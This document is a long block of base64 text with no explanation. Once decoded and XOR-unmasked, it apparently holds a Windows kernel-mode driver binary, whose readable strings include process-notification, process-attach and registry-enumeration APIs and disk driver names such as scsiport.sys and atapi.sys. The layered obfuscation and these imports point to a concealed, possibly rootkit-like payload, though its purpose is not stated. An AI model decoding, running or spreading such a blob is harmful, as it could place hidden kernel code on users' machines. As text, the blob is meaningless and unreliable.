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VI1U8VTZVMFUmVQlVcFUmVVVVmZk7ITMmeyYsJlWZmZmZmZmZMzQmITM0IXsmLCZVmZmZmQlVE1U8VTlVMFUGVSxVJlUhVTBVOFUJVRtVIVUzVSZVVVWZmZmZmZmZmZmZmZmZmQlVE1U8VTlVMFUGVSxVJlUhVTBVOFUJVRNVNFUmVSFVM1U0VSFVVVWZmZmZmZmZmTgvVZmZmZmZmZmZmZmZmZklMFWZmZmZmZmZmZmZmZmZCVURVSdVPFUjVTBVJ1UJVRFVPFUmVT5VVVWZmZmZmZkcVTpVFlUnVTBVNFUhVTBVE1U8VTlVMFUGVSVVMFU2VTxVM1UsVRFVMFUjVTxVNlUwVRpVN1U/VTBVNlUhVR1VPFU7VSFVVVWZmZmZmZmZmRxVOlUzVRZVNFU5VTlVEVUnVTxVI1UwVSdVVVWZmZmZHFU6VTNVFlU6VThVJVU5VTBVIVUwVQdVMFUkVSBVMFUmVSFVVVWZmZmZmZmZmZmZBiwmITA4VZmZmZmZmZmZmTshMTk5ezE5OVWZmZmZmZkJVQZVLFUmVSFVMFU4VQdVOlU6VSFVCVUmVSxVJlUhVTBVOFVmVWdVCVU7VSFVMVU5VTlVe1UxVTlVOVVVVZmZGyEGPSAhMToiOwYsJiEwOFWZmZmZmZmZmZmZmZmZmZkFJhIwIQE9JzA0MQEwN1WZBSYSMCEFJzo2MCYmBTA3VQUmEjAhBSc6NjAmJhwxVZkFJhIwIQE9JzA0MQUnOjYwJiZVmZmZmZmZmZmZmZmZmQUmEjAhAT0nMDQxHDFVmZkFJhIwIQE9JzA0MQUnOjYwJiYcMVWZmZmZmZmZmZmZmQUmEjAhBSc6NjAmJhw7PTAnPCEwMRMnOjgAOzwkIDAFJzo2MCYmHDFVmZmZmZmZmQUmEjAhBSc6NjAmJgYwNiE8OjsXNCYwFDExJzAmJlWZBSYSMCEFJzo2MCYmBSc8Oic8ISwWOTQmJlWZmZmZmZkcOgE9JzA0MQE6BSc6NjAmJlWZmZmZmZmZmZmZmZmZmQUmEjAhFiAnJzA7IQE9JzA0MRwxVZmZmZmZmZmZmZmZBSYSMCEBPScwNDECPDtmZwE9JzA0MVWZmZmZmZmZmZkeMAYwIRQzMzw7PCEsAT0nMDQxVZmZmZmZmZmZmZmZmQlVEVUwVSNVPFU2VTBVCVVVVZmZmZmZmZmZmZmZmZmZCVURVSdVPFUjVTBVJ1UJVTRVIVU0VSVVPFVVVZmZmZk0ITQlOicheyYsJlWZmZmZJjYmPCU6JyF7JiwmVZmZmd6tlLpS1rJ1cKpaVVVVmZkPIgcwNDEDPCchIDQ5GDA4OicsVZmZmZmZmZmZmZmZmQ8iBiAmJTA7MQE9JzA0MVUPIgQgMCcsBiwmITA4HDszOic4NCE8OjtVmZmZmZmZmQ8iBCAwJywcOzM6Jzg0ITw6OwUnOjYwJiZVmZmZmZmZDyIEIDAnLBw7MzonODQhPDo7AT0nMDQxVZmZmZmZmZkPIhY5OiYwVZmZmZmZmZmZDyIaJTA7HjAsVZmZmZmZmQ8iEDsgODAnNCEwHjAsVZkPIhA7IDgwJzQhMAM0OSAwHjAsVZmZmZmZmZmZmZmZmQ8iBCAwJywDNDkgMB4wLFUPIhEwOTAhMB4wLFWZmZmZDyIRMDkwITADNDkgMB4wLFVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUltlVVVVVVVdW2VVVVVVVVzbZVVVVVVVX5tlVVVVVVVeO2VVVVVVVVkbZVVVVVVVW3tlVV